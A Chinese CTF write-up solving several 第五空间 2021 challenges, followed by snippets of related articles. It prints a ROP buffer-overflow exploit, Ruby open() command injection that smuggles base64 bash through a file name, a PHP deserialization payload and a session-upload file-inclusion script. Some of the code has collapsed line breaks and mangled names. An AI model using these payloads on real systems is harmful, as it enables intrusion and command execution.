第五空间网络安全大赛 WHT WRITEUP

VSole2021-09-18 10:37:15

一、 战队信息

战队名称:WHT

战队排名:社企组 26

二、 解题过程

1 签到

下载附件,并解压后,发现 flag 文本,提交即可。

flag 值:flag{welcometo5space}

2 bountyhunter

EXP:

from pwn import *context(os='linux', arch='amd64', log_level='debug') content = 0
pop_rdi_ret_addr=0x000000000040120b system_addr=0x0000000000401030 sh_addr=0x0000000000403408
def main():try:if content == 1:upload = process("./pwn1")else:upload = remote("139.9.123.168", 32548)except:print("The exp is error~")
payload = ('a' * (0x90 + 0x8)).encode() payload += p64(pop_rdi_ret_addr) payload += p64(sh_addr)payload += p64(system_addr)
upload.recvuntil("Who are you? What do you want?") upload.sendline(payload)
upload.interactive() main()```

3 WebFTP

项目地址:`https://github.com/wifeat/WebFTP`

4 PNG 图片转换器

ruby 的源代码

require 'sinatra' require 'digest' require 'base64'
get '/' doopen("./view/index.html", 'r').read() end
get '/upload' do open("./view/upload.html", 'r').read()end
post '/upload' dounless  params[:file]  &&  params[:file][:tempfile]  &&  params[:file][:filename]  &&params[:file][:filename].split('.')[-1] == 'png'return "alert('error');location.href='/upload';" endbeginfilename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png' open(filename, 'wb') { |f|f.write open(params[:file][:tempfile],'r').read()}"Upload success, file stored at #{filename}" rescue'something wrong' end
end
get '/convert' do open("./view/convert.html", 'r').read()end
post '/convert' do beginunless params['file']return "alert('error');location.href='/convert';" end
file = params['file']unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/ return "alert('dont hack me');"endres = open(file, 'r').read()headers 'Content-Type' => "text/html; charset=utf-8""var img = document.createElement(\"img\");img.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";"rescue'something wrong' endend

漏洞利用的关键点是这一行(参考:https://vulhub.org/#/environments/ruby/CVE-2017-17405/)

res = open(file, 'r').read()

这里使用了 open()函数来打开可控制 file 参数传入的文件名。而 ruby 中的 open()函数是借用系统命令来打开文件,且没用过滤 shell 字符,导致在用户控制文件名的情况下,将可以注入任意命令。

源码中会将 open()执行过后的结果 base64 编码后返回,加上 file 参数处有些过滤和必须以.png 结尾的限制;即可构造

file=|whoami > test.png

 

 

如果返回 something wrong,可以尝试多执行几次。接下来绕过..、/即可,直接利用 base64 编码绕过

file=|echo "bHMgLWxoYSAv"|base64 -d|bash > test.png

 

读取/FLA9_zAIBhoJmWSX9RUcnPDrL

file=|echo "Y2F0IC9GTEE5X3pBSUJob0ptV1NYOVJVY25QRHJM"|base64 -d|bash > test.png

 

5 pklovecloud

include 'flag.php'; class pkshow{function echo_name(){return "Pk very safe^.^";}}
class acp{protected $cinder; public $neutron; public  $nova; function     construct(){$this->cinder = new pkshow;}function     toString(){if (isset($this->cinder))return $this->cinder->echo_name();}}
class ace{public $filename; public $openstack; public $docker; function echo_name(){$this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){

简单的反序列化,需要注意下的就是两个对象相互嵌套时注意区分,不要陷入死循环

{protected $cinder; public $neutron; public $nova;function     construct($i){if($i == 1){$this->cinder = new ace();}else{return $i;}}
}class ace{public $filename = '/flag.php'; public $openstack;public $docker; function     construct(){$this->docker = serialize(new acp(0));}}
$res = new acp(1);echo urlencode(serialize($res));?>
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7B
s%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3 A6%3A%22docker%22%3Bs%3A61%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder% 22%3BN%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22n eutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

6 EasyCleanup

if(!isset($_GET['mode'])){ highlight_file(     file   );}else if($_GET['mode'] == "eval"){$shell = $_GET['shell'] ?? 'phpinfo();';if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell);}
if(isset($_GET['file'])){if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file'];}
function filter($var): bool{$banned = ["while", "for", "\$_",  "include", "env", "require", "?", ":", "^",  "+", "-",  "%",  "*","`"];
foreach($banned as $ban){ if(strstr($var, $ban)) return True;}
return False;}
function checkNums($var): bool{$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';$cnt = 0;for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $cnt += 1;if($cnt > 8) return True;}}}return False;}
?>

合并运算符(??)

$shell = $_GET['shell'] ?? 'phpinfo();'

如果有设置?shell,则?shell 的值为其设置的值;若没有设置,则?shell=phpinfo(); 审计源码,很明显这里直接命令执行应该是无法执行的:

· 总长度不能大于等于 15

· 数字和字母的字符次数不能大于等于 8 次

加上一些 filter()的过滤,这里基本无法实现?shell 的代码执行

关键在 include $_GET['file'];,有文件包含,虽然有 filter()和长度的限制,但是没有最恶心的 CheckNums();加上给了我们一个 phpinfo。查看一下 session.upload_progress,默认都是开启的。并且这里记录上传进度的 session 文件都没有开启自动清除

(session.upload_progress.cleanup==Off),条件竞争都不用做了。

没有给出 session.save_path,那 sesion 应该就是默认保存位置:/tmp/sess_xxx 直接利用以前做 session upload progress 的脚本即可,稍微改一下就能直接打

# -*- coding: utf-8 -*- import ioimport requests import threading
myurl = 'http://114.115.134.72:32770/index.php' sessid = '7'myfile = io.BytesIO(b'mochu7' * 1024)writedata = {"PHP_SESSION_UPLOAD_PROGRESS": ""} mycookie = {'PHPSESSID': sessid}
def writeshell(session): while True:resp = requests.post(url=myurl, data=writedata, files={'file': ('mochu7.txt', myfile)}, cookies=mycookie)
def getshell(session): while True:payload_url = myurl + '?file=' + '/tmp/sess_' +sessid resp = requests.get(url=payload_url)if 'upload_progress' in resp.text: print(resp.text)breakelse:pass
if     name   == '    main    ': session = requests.session()writeshell = threading.Thread(target=writeshell, args=(session,)) writeshell.daemon = Truewriteshell.start() getshell(session)

如果一个 sess_id 打了好几次没有刷新,建议换个 sess_id 打

shellshell脚本
本作品采用《CC 协议》,转载必须注明作者和本文链接
由于低权限用户无法执行太多操作,可以利用反弹上传Churrasco.exe,后续可以利用它来做提权。输入net user指令查看是否添加成功,最后提权成功。linux系统提权思路linux基础信息收集uname -a 显示全部系统信息cat /etc/issue 内核信息。
这里你可以理解为 a = 1,同时还可以 a =2、a = 3 ,不同的值都可以复制给同一个 变量 a 。Shell常见的变量之一系统变量,主要是用于对参数判断和命令返回值判断时使用,系统变量详解如下:。令或程序执行完后的状态,返回0表示执行成功;显示当前主机名;
反弹shell是获取Linux交互shell的一种方法,其方法背后的原理是什么呢
初识Shell
2022-03-11 22:42:44
程序是由序列组成的,告诉计算机如何完成一个具体的任务。编写程序花费的时间往往是实际运行时间的几十倍或几百倍。除了计算机生产厂家的专业人员外,绝大多数的 程序员已经不再去学习机器语言了。包含的功能几乎可以涵盖Shell所具有的功能,所以一般的Shell脚本都会指定它为执行路径。目前使用的 并不多,已经被/bin/tcsh所取代。
vulnhub之sar的实践
2023-09-04 09:33:30
今天实践的是vulnhub的sar镜像,
PHP disable_functions disable_functions是php.ini中的一个设置选项。相当一个黑名单,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
disable_functions是php.ini中的一个设置选项。相当一个黑名单,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
相当一个黑名单,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。高ini_restore()可用于恢复 PHP 环境配置参数到其初始值
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。
一文吃透 Linux 提权
2021-10-23 07:09:32
特权升级意味着用户获得他们无权获得的特权。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。
VSole
网络安全专家